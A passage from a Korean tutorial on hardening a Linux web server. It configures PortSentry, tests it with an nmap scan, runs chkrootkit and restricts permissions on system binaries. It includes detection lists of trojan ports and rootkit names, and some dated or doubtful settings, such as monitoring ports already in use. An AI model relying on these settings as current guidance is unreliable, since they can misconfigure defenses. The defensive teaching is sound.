정 파일을 수정하도록 하겠습니다. 이 파일은 /usr/local/psionic/portsentry 디렉토리에 있습니다.
[root@localhost portsentry-1.1]# cd /usr/local/psionic/portsentry
[root@localhost portsentry]# ls -la
19
합계 68
drwx------ 2 root root 4096 7월 19 15:52 .
drwx------ 3 root root 4096 7월 19 15:51 ..
-rwx------ 1 root root 41510 7월 19 15:52 portsentry
-rw------- 1 root root 11198 7월 19 15:52 portsentry.conf
-rw------- 1 root root 480 7월 19 15:52 portsentry.ignore
[root@localhost portsentry]#
3개의 파일들이 보입니다. 제일 위에 있는 것은 실행파일이고, 두 번째 것은 설정 파일이며, 세 번째 있는 것
은 탐지를 할 때 무시를 해도 좋은 유저와 아이피 주소를 기록하는 곳입니다. 제일 먼저 portsentry.conf라는
파일을 수정하도록 하겠습니다. 수정한 부분은 파란색으로 표시하겠습니다. 그리고 많은 수정이 필요하지 않
으므로 간단한 vi 사용법만 아시면 됩니다.
[root@localhost portsentry]# vi portsentry.conf
# PortSentry Configuration
#
# $Id: portsentry.conf,v 1.23 2001/06/26 15:20:56 crowland Exp crowland $
#
# IMPORTANT NOTE: You CAN NOT put spaces between your port arguments.
#
# The default ports will catch a large number of common probes
#
# All entries must be in quotes.
#######################
# Port Configurations #
#######################
#
#
# Some example port configs for classic and basic Stealth modes
#
# I like to always keep some ports at the "low" end of the spectrum.
# This will detect a sequential port sweep really quickly and usually
# these ports are not in use (i.e. tcpmux port 1)
#
# ** X-Windows Users **: If you are running X on your box, you need to be sure
# you are not binding PortSentry to port 6000 (or port 2000 for OpenWindows users).
20
# Doing so will prevent the X-client from starting properly.
#
# These port bindings are *ignored* for Advanced Stealth Scan Detection Mode.
#
# Un-comment these if you are really anal:
#TCP_PORTS="1,7,9,11,15,70,79,80,109,110,111,119,138,139,143,512,513,514,515,540,635,1080,1524,2000,2001,4000,4001
,5742,6000,6001,6667,12345,12346,20034,27665,30303,32771,32772,32773,32774,31337,40421,40425,49724,54320"
#UDP_PORTS="1,7,9,66,67,68,69,111,137,138,161,162,474,513,517,518,635,640,641,666,700,2049,31335,27444,34555,32770
,32771,32772,32773,32774,31337,54321"
#
# Use these if you just want to be aware:
# 다음 부분은 앞에 #를 붙입니다.
#TCP_PORTS="1,11,15,79,111,119,143,540,635,1080,1524,2000,5742,6667,12345,12346,20034,27665,31337,32771,32772,3277
3,32774,40421,49724,54320"
#UDP_PORTS="1,7,9,69,161,162,513,635,640,641,700,37444,34555,31335,32770,32771,32772,32773,32774,31337,54321"
#
# Use these for just bare-bones
#TCP_PORTS="1,11,15,110,111,143,540,635,1080,1524,2000,12345,12346,20034,32771,32772,32773,32774,49724,54320"
#UDP_PORTS="1,7,9,69,161,162,513,640,700,32770,32771,32772,32773,32774,31337,54321"
# 우리가 사용하고 있는 포트만 다음처럼 대로 작성합니다.
TCP_PORTS="22,80,3306"
UDP_PORTS="22,80,3306"
###########################################
# Advanced Stealth Scan Detection Options #
###########################################
#
# This is the number of ports you want PortSentry to monitor in Advanced mode.
# Any port *below* this number will be monitored. Right now it watches
# everything below 1024.
#
# On many Linux systems you cannot bind above port 61000. This is because
# these ports are used as part of IP masquerading. I don't recommend you
# bind over this number of ports. Realistically: I DON'T RECOMMEND YOU MONITOR
# OVER 1024 PORTS AS YOUR FALSE ALARM RATE WILL ALMOST CERTAINLY RISE. You've been
# warned! Don't write me if you have have a problem because I'll only tell
21
# you to RTFM and don't run above the first 1024 ports.
#
#
ADVANCED_PORTS_TCP="1024"
ADVANCED_PORTS_UDP="1024"
#
# This field tells PortSentry what ports (besides listening daemons) to
# ignore. This is helpful for services like ident that services such
# as FTP, SMTP, and wrappers look for but you may not run (and probably
# *shouldn't* IMHO).
#
# By specifying ports here PortSentry will simply not respond to
# incoming requests, in effect PortSentry treats them as if they are
# actual bound daemons. The default ports are ones reported as
# problematic false alarms and should probably be left alone for
# all but the most isolated systems/networks.
#
# Default TCP ident and NetBIOS service
ADVANCED_EXCLUDE_TCP="113,139"
# Default UDP route (RIP), NetBIOS, bootp broadcasts.
ADVANCED_EXCLUDE_UDP="520,138,137,67"
######################
# Configuration Files#
######################
#
# Hosts to ignore
IGNORE_FILE="/usr/local/psionic/portsentry/portsentry.ignore"
# Hosts that have been denied (running history)
HISTORY_FILE="/usr/local/psionic/portsentry/portsentry.history"
# Hosts that have been denied this session only (temporary until next restart)
BLOCKED_FILE="/usr/local/psionic/portsentry/portsentry.blocked"
##############################
# Misc. Configuration Options#
##############################
#
22
# DNS Name resolution - Setting this to "1" will turn on DNS lookups
# for attacking hosts. Setting it to "0" (or any other value) will shut
# it off.
RESOLVE_HOST = "1"
###################
# Response Options#
###################
# Options to dispose of attacker. Each is an action that will
# be run if an attack is detected. If you don't want a particular
# option then comment it out and it will be skipped.
#
# The variable $TARGET$ will be substituted with the target attacking
# host when an attack is detected. The variable $PORT$ will be substituted
# with the port that was scanned.
#
##################
# Ignore Options #
##################
# These options allow you to enable automatic response
# options for UDP/TCP. This is useful if you just want
# warnings for connections, but don't want to react for
# a particular protocol (i.e. you want to block TCP, but
# not UDP). To prevent a possible Denial of service attack
# against UDP and stealth scan detection for TCP, you may
# want to disable blocking, but leave the warning enabled.
# I personally would wait for this to become a problem before
# doing though as most attackers really aren't doing this.
# The third option allows you to run just the external command
# in case of a scan to have a pager script or such execute
# but not drop the route. This may be useful for some admins
# who want to block TCP, but only want pager/e-mail warnings
# on UDP, etc.
#
#
# 0 = Do not block UDP/TCP scans.
# 1 = Block UDP/TCP scans.
23
# 2 = Run external command only (KILL_RUN_CMD)
BLOCK_UDP="1"
BLOCK_TCP="1"
###################
# Dropping Routes:#
###################
# This command is used to drop the route or add the host into
# a local filter table.
#
# The gateway (333.444.555.666) should ideally be a dead host on
# the *local* subnet. On some hosts you can also point this at
# localhost (127.0.0.1) and get the same effect. NOTE THAT
# 333.444.555.66 WILL *NOT* WORK. YOU NEED TO CHANGE IT!!
#
# ALL KILL ROUTE OPTIONS ARE COMMENTED OUT INITIALLY. Make sure you
# uncomment the correct line for your OS. If you OS is not listed
# here and you have a route drop command that works then please
# mail it to me so I can include it. ONLY ONE KILL_ROUTE OPTION
# CAN BE USED AT A TIME SO DON'T UNCOMMENT MULTIPLE LINES.
#
# NOTE: The route commands are the least optimal way of blocking
# and do not provide complete protection against UDP attacks and
# will still generate alarms for both UDP and stealth scans. I
# always recommend you use a packet filter because they are made
# for this purpose.
# 이 부분에는 각 OS별로 설정이 나와 있는데, 대부분 #가 붙어 있지요.
# 우리가 사용할 부분에는 파란색으로 표시하겠습니다.
# 리눅스용은 다음과 같습니다.
# 다른 부분은 모두 삭제하였습니다.
KILL_ROUTE="/sbin/iptables -I INPUT -s $TARGET$ -j DROP"
###############
# TCP Wrappers#
###############
24
# This text will be dropped into the hosts.deny file for wrappers
# to use. There are two formats for TCP wrappers:
#
# Format One: Old Style - The default when extended host processing
# options are not enabled.
#
KILL_HOSTS_DENY="ALL: $TARGET$"
# Format Two: New Style - The format used when extended option
# processing is enabled. You can drop in extended processing
# options, but be sure you escape all '%' symbols with a backslash
# to prevent problems writing out (i.e. ₩%c ₩%h )
#
#KILL_HOSTS_DENY="ALL: $TARGET$ : DENY"
###################
# External Command#
###################
# This is a command that is run when a host connects, it can be whatever
# you want it to be (pager, etc.). This command is executed before the
# route is dropped or after depending on the KILL_RUN_CMD_FIRST option below
#
#
# I NEVER RECOMMEND YOU PUT IN RETALIATORY ACTIONS AGAINST THE HOST SCANNING
# YOU!
#
# TCP/IP is an *unauthenticated protocol* and people can make scans appear out
# of thin air. The only time it is reasonably safe (and I *never* think it is
# reasonable) to run reverse probe scripts is when using the "classic" -tcp mode.
# This mode requires a full connect and is very hard to spoof.
#
# The KILL_RUN_CMD_FIRST value should be set to "1" to force the command
# to run *before* the blocking occurs and should be set to "0" to make the
# command run *after* the blocking has occurred.
#
#KILL_RUN_CMD_FIRST = "0"
#
25
#
#KILL_RUN_CMD="/some/path/here/script $TARGET$ $PORT$"
#####################
# Scan trigger value#
#####################
# Enter in the number of port connects you will allow before an
# alarm is given. The default is 0 which will react immediately.
# A value of 1 or 2 will reduce false alarms. Anything higher is
# probably not necessary. This value must always be specified, but
# generally can be left at 0.
#
# NOTE: If you are using the advanced detection option you need to
# be careful that you don't make a hair trigger situation. Because
# Advanced mode will react for *any* host connecting to a non-used
# below your specified range, you have the opportunity to really
# break things. (i.e someone innocently tries to connect to you via
# SSL [TCP port 443] and you immediately block them). Some of you
# may even want this though. Just be careful.
#
SCAN_TRIGGER="0"
######################
# Port Banner Section#
######################
#
# Enter text in here you want displayed to a person tripping the PortSentry.
# I *don't* recommend taunting the person as this will aggravate them.
# Leave this commented out to disable the feature
#
# Stealth scan detection modes don't use this feature
#
#PORT_BANNER="** UNAUTHORIZED ACCESS PROHIBITED *** YOUR CONNECTION ATTEMPT HAS BEEN LOGGED. GO AWAY."
# EOF
[root@localhost portsentry]#
26
이제 portsentry.ignore 파일 하나만 설정하면 되는데, 굳이 손볼 필요는 없습니다. 하지만 고정 아이피를 사
용하시는 분이라면 설정을 해두는 것이 좋습니다. 고정 아이피를 사용하지 않는다면 모든 준비가 된 것입니다.
[root@localhost portsentry]# vi portsentry.ignore
# Put hosts in here you never want blocked. This includes the IP addresses
# of all local interfaces on the protected host (i.e virtual host, mult-home)
# Keep 127.0.0.1 and 0.0.0.0 to keep people from playing games.
#
# PortSentry can support full netmasks for networks as well. Format is:
#
# <IP Address>/<Netmask>
#
# Example:
#
# 192.168.2.0/24
# 192.168.0.0/16
# 192.168.2.1/32
# Etc.
#
# If you don't supply a netmask it is assumed to be 32 bits.
#
#
127.0.0.1/32
0.0.0.0
# 관리자의 고정 아이피를 추가합니다. 만약 그 아이피가 123.123.123.123이라면,
# 아래에 이 아이피 주소를 입력합니다.
123.123.123.123
[root@localhost portsentry]#
이제 설정이 모두 끝났고, 실행만 하면 됩니다. 실행을 위해 간단한 스크립트를 만듭니다. 이것은 아래 나오
는 것 그대로 사용하시면 됩니다. 이것은 일일이 명령을 입력할 필요 없이 한번의 실행으로 각 모드를 실행할
수 있게 해줍니다. 다시 root 디렉토리로 와서 다음과 같은 작업을 합니다.
[root@localhost portsentry]# cd
[root@localhost root]# cat > portsentry
27
#!/bin/sh
#
# portsentry 정책
#
/usr/local/psionic/portsentry/portsentry -tcp
/usr/local/psionic/portsentry/portsentry -udp
/usr/local/psionic/portsentry/portsentry -atcp
/usr/local/psionic/portsentry/portsentry -audp
[root@localhost root]# chmod 700 portsentry
[root@localhost root]# ./portsentry
이제 portsentry가 제대로 실행되고 있는지 확인해봅니다. 프로세스를 확인해보도록 하겠습니다.
[root@localhost root]# ps -aux | grep portsentry
root 12114 0.0 0.0 1384 460 ? S 16:53 0:00 /usr/local/psionic/portsentry/portsentry -tcp
root 12116 0.0 0.0 1384 460 ? S 16:53 0:00 /usr/local/psionic/portsentry/portsentry -udp
root 12120 0.0 0.0 1380 452 ? S 16:53 0:00 /usr/local/psionic/portsentry/portsentry -atcp
root 12124 0.0 0.0 1384 460 ? S 16:53 0:00 /usr/local/psionic/portsentry/portsentry -audp
root 12128 0.0 0.1 4668 656 pts/3 S 16:54 0:00 grep portsentry
[root@localhost root]#
모든 것이 정상적으로 돌아가고 있습니다. 이제 간단한 테스트를 통해 portsentry가 그 역할을 잘 하고 있는
지 확인을 해보도록 하겠습니다. 먼저 스캐닝을 해보도록 하겠습니다. portsentry가 설치되어 있는 곳은
securityproof.net에서 운영하는 프리해킹 존입니다.
[root@test cracker]# nmap -P0 211.xxx.xxx.xxx
Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 2005-07-19 15:02 KST
[root@test cracker]#
더 이상 스캐닝이 진행되지 않아 Ctrl-c키를 눌렀습니다. 이제 서버에 남아 있는 로그를 보겠습니다. 로그는
보통 두 군데 쌓이게 됩니다. 먼저 /var/log/messages에 기록된 로그를 보도록 하겠습니다. 다음 로그는 실제
28
서버에 공격한 흔적입니다.
[root@localhost root]# cd /var/log
[root@localhost root]# cat messages
Jul 19 17:32:14 localhost portsentry[12011]: attackalert: Host 211.195.203.70 has been blocked via wrappers with
string: "ALL: 211.195.203.70"
Jul 19 17:32:14 localhost portsentry[12011]: attackalert: Host 211.195.203.70 has been blocked via dropped route
using command: "/sbin/iptables -I INPUT -s 211.195.203.70 -j DROP"
로그를 보니 iptables를 이용해 공격자의 아이피를 막아버렸습니다. 이 공격자는 이제 공격에 사용된 아이피
로는 서버에 접근하지 못하게 됩니다. 즉, 공격이 힘들어지게 된 것입니다. 공격자가 프록시를 사용하지 않는
다면 웹 서버, 즉 홈페이지에도 접근을 못하게 됩니다. 다른 로그는 /usr/local/psionic/portsentry 디렉토리
에 있는 portsentry.history라는 파일에 다음과 같이 기록됩니다.
1121752534 - 07/19/2005 17:32:14 Host: 211.195.203.70 /211.195.203.70 Port: 135 TCP Blocked
이제까지 portsentry를 통해 침입탐지 및 방어 시스템을 구축하는 것에 대해 알아보았습니다.
3. chkrootkit를 통한 백도어 설치 탐지
악의적인 공격자들은 공격 성공 후 서버에 백도어를 설치하는 경우가 있습니다. 이는 단순한 프로세스 확인만
으로는 탐지가 되지 않는 경우가 더 많습니다. 남미나 유럽 크래커들은 서버 공격 후 자신들의 무용담을 자랑
하기 위해 웹 페이지를 변조하여 공격 여부를 확인할 수 있으나, 중국 해커들의 경우 웹 페이지 변조 없이 서
버를 악의적으로 사용하는 경우가 많습니다.
이런 경우 chkrootkit란 툴을 이용하여 서버에 설치되어 있는 백도어를 탐지할 수 있습니다. 현재 가장 최신
버전은 0.45 버전입니다. 먼저 chkrootkit를 다운받아 설치합니다. 이번에도 역시 wget을 이용하여 바로 서버
로 다운 받도록 하겠습니다.
29
[root@localhost root]# wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
--17:33:16-- ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
=> `chkrootkit.tar.gz'
Resolving ftp.pangeia.com.br... 200.239.53.35
Connecting to ftp.pangeia.com.br[200.239.53.35]:21... connected.
anonymous로서 로그인하고 있습니다...로그인 했습니다!
==> SYST ... 완료. ==> PWD ... 완료.
==> TYPE I ... 완료. ==> CWD /pub/seg/pac ... 완료.
==> PASV ... 완료. ==> RETR chkrootkit.tar.gz ... 완료.
길이: 36,359 (unauthoritative)
100%[=========================================================================================>] 36,359
7.23K/s ETA 00:00
17:33:27 (6.90 KB/s) - `chkrootkit.tar.gz' saved [36,359]
[root@localhost root]#
이제 압축을 풀고 설치를 하도록 하겠습니다. chkrootkit은 설치가 쉬우며, 별도의 설정 파일이 없습니다.
[root@localhost root]# tar xvfz chkrootkit.tar.gz
chkrootkit-0.45/
chkrootkit-0.45/ifpromisc.c
chkrootkit-0.45/COPYRIGHT
chkrootkit-0.45/chkdirs.c
chkrootkit-0.45/check_wtmpx.c
chkrootkit-0.45/chkrootkit.lsm
chkrootkit-0.45/Makefile
chkrootkit-0.45/ACKNOWLEDGMENTS
chkrootkit-0.45/README.chkwtmp
chkrootkit-0.45/chklastlog.c
chkrootkit-0.45/chkrootkit
chkrootkit-0.45/chkutmp.c
chkrootkit-0.45/chkwtmp.c
chkrootkit-0.45/README
chkrootkit-0.45/README.chklastlog
30
chkrootkit-0.45/strings.c
chkrootkit-0.45/chkproc.c
[root@localhost root]# cd chkrootkit-0.45
[root@localhost chkrootkit-0.45]# make sense
gcc -DHAVE_LASTLOG_H -o chklastlog chklastlog.c
gcc -DHAVE_LASTLOG_H -o chkwtmp chkwtmp.c
gcc -DHAVE_LASTLOG_H -D_FILE_OFFSET_BITS=64 -o ifpromisc ifpromisc.c
gcc -o chkproc chkproc.c
gcc -o chkdirs chkdirs.c
gcc -o check_wtmpx check_wtmpx.c
gcc -static -o strings-static strings.c
gcc -o chkutmp chkutmp.c
[root@localhost chkrootkit-0.45]#
설치가 끝났습니다. 아주 간단합니다. 어떤 파일들이 있는지 확인해보도록 하겠습니다.
[root@localhost chkrootkit-0.45]# ls -la
합계 632
drwxr-xr-x 2 1000 1000 4096 7월 19 17:39 .
drwxr-x--- 20 root root 4096 7월 19 17:35 ..
-r--r--r-- 1 1000 1000 3365 2월 22 04:31 ACKNOWLEDGMENTS
-r--r--r-- 1 1000 1000 1343 9월 7 2004 COPYRIGHT
-r--r--r-- 1 1000 1000 1556 2월 22 08:13 Makefile
-r--r--r-- 1 1000 1000 12963 2월 22 21:56 README
-r--r--r-- 1 1000 1000 1323 9월 7 2004 README.chklastlog
-r--r--r-- 1 1000 1000 1292 9월 7 2004 README.chkwtmp
-rwxr-xr-x 1 root root 2704 7월 19 17:39 check_wtmpx
-r--r--r-- 1 1000 1000 7195 9월 7 2004 check_wtmpx.c
-rwxr-xr-x 1 root root 6052 7월 19 17:39 chkdirs
-r--r--r-- 1 1000 1000 6781 9월 7 2004 chkdirs.c
-rwxr-xr-x 1 root root 6640 7월 19 17:39 chklastlog
-r--r--r-- 1 1000 1000 7730 11월 17 2004 chklastlog.c
-rwxr-xr-x 1 root root 6808 7월 19 17:39 chkproc
-r--r--r-- 1 1000 1000 7613 9월 14 2004 chkproc.c
-rwxr-xr-x 1 1000 wheel 71149 2월 22 21:57 chkrootkit
-r--r--r-- 1 1000 1000 571 2월 22 06:20 chkrootkit.lsm
31
-rwxr-xr-x 1 root root 5944 7월 19 17:39 chkutmp
-r--r--r-- 1 1000 1000 5388 2월 22 08:10 chkutmp.c
-rwxr-xr-x 1 root root 3960 7월 19 17:39 chkwtmp
-r--r--r-- 1 1000 1000 2081 9월 7 2004 chkwtmp.c
-rwxr-xr-x 1 root root 6868 7월 19 17:39 ifpromisc
-r--r--r-- 1 1000 1000 8771 9월 7 2004 ifpromisc.c
-rwxr-xr-x 1 root root 402496 7월 19 17:39 strings-static
-r--r--r-- 1 1000 1000 2437 9월 7 2004 strings.c
[root@localhost chkrootkit-0.45]#
이제 chkrootkit을 실행하여 백도어가 설치되어 있는지 확인만 해보면 됩니다.
[root@localhost chkrootkit-0.45]# ./chkrootkit
ROOTDIR is `/'
Checking `amd'... not infected
Checking `basename'... not infected
Checking `biff'... not infected
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not infected
Checking `gpm'... not infected
Checking `grep'... not infected
Checking `hdparm'... not infected
Checking `su'... not infected
Checking `ifconfig'... not infected
Checking `inetd'... not tested
Checking `inetdconf'... not found
Checking `identd'... not infected
32
Checking `init'... not infected
Checking `killall'... not infected
Checking `ldsopreload'... not infected
Checking `login'... not infected
Checking `ls'... not infected
Checking `lsof'... not infected
Checking `mail'... not found
Checking `mingetty'... not infected
Checking `netstat'... not infected
Checking `named'... not infected
Checking `passwd'... not infected
Checking `pidof'... not infected
Checking `pop2'... not found
Checking `pop3'... not found
Checking `ps'... not infected
Checking `pstree'... not infected
Checking `rpcinfo'... not infected
Checking `rlogind'... not infected
Checking `rshd'... not infected
Checking `slogin'... not found
Checking `sendmail'... not infected
Checking `sshd'... not infected
Checking `syslogd'... not infected
Checking `tar'... not infected
Checking `tcpd'... not infected
Checking `tcpdump'... not infected
Checking `top'... not infected
Checking `telnetd'... not infected
Checking `timed'... not found
Checking `traceroute'... not infected
Checking `vdir'... not infected
Checking `w'... not infected
Checking `write'... not infected
Checking `aliens'... no suspect files
Searching for sniffer's logs, it may take a while... nothing found
Searching for HiDrootkit's default dir... nothing found
Searching for t0rn's default files and dirs... nothing found
33
Searching for t0rn's v8 defaults... nothing found
Searching for Lion Worm default files and dirs... nothing found
Searching for RSHA's default files and dir... nothing found
Searching for RH-Sharpe's default files... nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while...
/usr/lib/perl5/5.8.0/i386-linux-thread-multi/.packlist /usr/lib/openoffice/share/gnome/net/.directory
/usr/lib/openoffice/share/gnome/net/.order /usr/lib/openoffice/share/kde/net/applnk/OpenOffice.org/.directory
/usr/lib/openoffice/share/kde/net/applnk/OpenOffice.org/.order /usr/lib/qt-3.1/etc/settings/.qtrc.lock
Searching for LPD Worm files and dirs... nothing found
Searching for Ramen Worm files and dirs... nothing found
Searching for Maniac files and dirs... nothing found
Searching for RK17 files and dirs... nothing found
Searching for Ducoci rootkit... nothing found
Searching for Adore Worm... nothing found
Searching for ShitC Worm... nothing found
Searching for Omega Worm... nothing found
Searching for Sadmind/IIS Worm... nothing found
Searching for MonKit... nothing found
Searching for Showtee... nothing found
Searching for OpticKit... nothing found
Searching for T.R.K... nothing found
Searching for Mithra... nothing found
Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... nothing found
Searching for HKRK rootkit... nothing found
Searching for Suckit rootkit... nothing found
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
Searching for TC2 Worm default files and dirs... nothing found
Searching for Anonoying rootkit default files and dirs... nothing found
Searching for ZK rootkit default files and dirs... nothing found
Searching for ShKit rootkit default files and dirs... nothing found
Searching for AjaKit rootkit default files and dirs... nothing found
Searching for zaRwT rootkit default files and dirs... nothing found
Searching for Madalin rootkit default files... nothing found
34
Searching for Fu rootkit default files... nothing found
Searching for ESRK rootkit default files... nothing found
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... chkproc: nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... eth0: PF_PACKET(/sbin/dhclient)
Checking `w55808'... not infected
Checking `wted'... chkwtmp: nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... chklastlog: nothing deleted
Checking `chkutmp'... The tty of the following user process(es) were not found
in /var/run/utmp !
! RUID PID TTY CMD
! root 4161 tty6 /sbin/mingetty tty6
chkutmp: nothing deleted
[root@localhost chkrootkit-0.45]#
결과를 보니 이상한 점이 없습니다. 만약 실행하여 이상한 부분이 있으면 즉시 확인을 하고, 대책을 세워야
합니다. 어떤 대책을 세워야할지를 모를 경우 정부의 관련기관이나 securityproof 사이트에 글 올려주시기 바
랍니다.
4. 파일 퍼미션 설정을 통한 로컬 공격 방지
공격자는 원격 취약점을 이용하여 시스템을 장악할 수 있지만 원격 취약점이 없으면 보통 웹 페이지의 취약점
을 이용하여 로컬 공격을 하고, 이를 통해 시스템을 장악하는 경우가 있습니다. 보통 웹 공격을 통해 획득할
수 있는 것은 nobody 또는 apache 권한입니다. 이는 웹 서버 설정 파일인 httpd.conf라는 파일의 설정에 따라
사용하는 용어가 달라질 수 있으며, 공격에 성공할 경우 보통 ‘웹 권한을 획득했다’고 합니다.
웹 권한을 획득하면 웹 페이지의 변조가 가능할 수 있고, 시스템 장악을 위해 로컬 공격을 할 수 있습니다.
35
이를 경우를 대비하여 공격자가 원활한 로컬 공격을 하지 못하도록 파일 퍼미션을 설정하는 것입니다. 여기서
는 공격자가 웹 권한을 획득하고, 로컬 공격 시 반드시 사용하거나 사용할 가능성이 높은 파일들을 대상으로
퍼미션 조정을 할 것입니다. 제일 먼저 /bin 디렉토리의 파일 설정에 대해 알아보도록 하겠습니다.
많은 사용자 계정이 없는 경우라면 이 파일들은 모두 퍼미션을 700으로 수정합니다. 다른 사용자들이 있으면
특정 그룹의 사용자만 이용할 수 있도록 설정을 해야 합니다. 그러나 이 문서가 대상으로 하고 있는 독자들의
서버는 많은 계정이 없는, 대부분 root만이 서버에 접속하여 서버를 관리하는 경우입니다.
[root@localhost root]# cd /bin
[root@localhost bin]# ls -al
합계 5448
-rwxr-xr-x 1 root root 14364 2월 19 2003 cat
-rwxr-xr-x 1 root root 18076 2월 19 2003 chgrp
-rwxr-xr-x 1 root root 18076 2월 19 2003 chmod
-rwxr-xr-x 1 root root 47732 2월 19 2003 cp
-rwxr-xr-x 1 root root 28596 2월 19 2003 df
-rwxr-xr-x 1 root root 11356 2월 19 2003 env
-rwxr-xr-x 1 root root 294332 1월 25 2003 gawk
-rwxr-xr-x 1 root root 75668 1월 25 2003 grep
-rwxr-xr-x 1 root root 7996 2월 25 2003 kill
-rwxr-xr-x 1 root root 10780 2월 19 2003 link
-rwxr-xr-x 1 root root 22204 2월 19 2003 ln
-rwxr-xr-x 1 root root 67668 2월 19 2003 ls
-rwxr-xr-x 1 root root 18396 2월 19 2003 mkdir
-rwsr-xr-x 1 root root 68508 2월 25 2003 mount
-rwxr-xr-x 1 root root 51028 2월 19 2003 mv
-rwxr-xr-x 1 root root 85240 2월 11 2003 netstat
-r-xr-xr-x 1 root root 69772 2월 20 2003 ps
-rwxr-xr-x 1 root root 10620 2월 19 2003 pwd
-rwxr-xr-x 1 root root 26556 2월 19 2003 rm
-rwxr-xr-x 1 root root 11804 2월 19 2003 rmdir
-rwx------ 1 rpm rpm 77404 2월 28 2003 rpm
36
-rwxr-xr-x 1 root root 26332 2월 19 2003 touch
-rwxr-xr-x 1 root root 12188 2월 19 2003 uname
-rwxr-xr-x 1 root root 10848 2월 19 2003 unlink
-rwxr-xr-x 1 root root 456108 2월 12 2003 vi
[root@localhost bin]#
이 파일들의 퍼미션을 700으로 조정해도 홈페이지를 운영하는 데는 아무런 문제가 없습니다. 퍼미션 조정 방
법은 다음과 같습니다. 순서대로 ‘chmod 700 파일명’으로 하면 됩니다. 예를 한 가지 들어보겠습니다.
[root@localhost bin]# chmod 700 cat
퍼미션을 확인해보도록 하겠습니다.
[root@localhost bin]# ls -la cat
-rwx------ 1 root root 26556 2월 19 2003 cat
[root@localhost bin]#
퍼미션 조절하는 것은 전혀 어렵지 않습니다. 이제는 /sbin 디렉토리에서 퍼미션 조정이 필요한 파일을 찾아
보도록 하겠습니다. 역시 퍼미션을 700으로 수정합니다.
[root@localhost bin]# cd /sbin
[root@localhost sbin]# ls -la
합계 17400
drwxr-xr-x 2 root root 8192 7월 4 09:22 .
drwxr-xr-x 21 root root 4096 7월 18 05:38 ..
-rwxr-xr-x 1 root root 38556 2월 11 2003 arp
-rwxr-xr-x 1 root root 51672 2월 11 2003 ifconfig
-rwxr-xr-x 1 root root 47560 2월 4 2003 iptables
[root@localhost sbin]#
이제 /usr/bin 디렉토리의 파일들 중에서 700으로 수정이 필요한 것들을 찾아보겠습니다.
37
[root@localhost sbin]# cd /usr/bin
[root@localhost bin]# ls –al
[root@localhost bin]# ls -la | more
합계 283228
lrwxrwxrwx 1 root root 3 7월 4 08:55 cc -> gcc
-rwxr-xr-x 1 root root 62268 1월 26 2003 dig
-rwxr-xr-x 1 root root 51028 1월 25 2003 find
-rwxr-xr-x 2 root root 80644 2월 25 2003 gcc
-rwxr-xr-x 2 root root 81864 2월 12 2003 gcc296
-rwxr-xr-x 1 root root 2116372 2월 25 2003 gdb
-rwxr-xr-x 1 root root 44800 2월 25 2003 gdbserver
-rwxr-xr-x 1 root root 14236 2월 19 2003 id
-rwxr-xr-x 1 root root 15260 2월 19 2003 kill
-rwxr-xr-x 1 root root 13144 1월 25 2003 killall
-rwxr-xr-x 1 root root 11068 2월 11 2003 last
-rwxr-xr-x 1 root root 127932 1월 25 2003 make
-rwxr-xr-x 1 root root 55068 2월 19 2003 mysql
-rwxr-xr-x 1 root root 257788 1월 26 2003 nmap
-rwxr-xr-x 1 root root 55968 1월 26 2003 nslookup
-rwxr-xr-x 2 root root 12572 2월 19 2003 perl
-rwxr-xr-x 2 root root 12572 2월 19 2003 perl5.8.
-rwxr-xr-x 2 root root 791232 2월 25 2003 python
-rwxr-xr-x 3 root root 57468 1월 25 2003 rz
-rwxr-xr-x 1 root root 64632 2월 15 2003 ssh-add
-rwxr-xr-x 1 root root 47544 2월 15 2003 ssh-agent
-rwxr-xr-x 1 root root 64760 2월 15 2003 ssh-keygen
-rwxr-xr-x 1 root root 135800 2월 15 2003 ssh-keyscan
-rwxr-xr-x 1 root root 35604 2월 19 2003 tail
-rwxr-xr-x 1 root root 1893740 2월 12 2003 vim
-rwxr-xr-x 1 root root 7168 2월 25 2003 whereis
-rwxr-xr-x 1 root root 15324 1월 25 2003 which
-rwxr-xr-x 1 root root 10784 2월 19 2003 whoami
[root@localhost bin]#
38
이제 /usr/sbin 디렉토리입니다. 여기는 그렇게 많지 않습니다. lsof 파

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,035 명
  • 현재 강좌수 :  35,791 개
  • 현재 접속자 :  187 명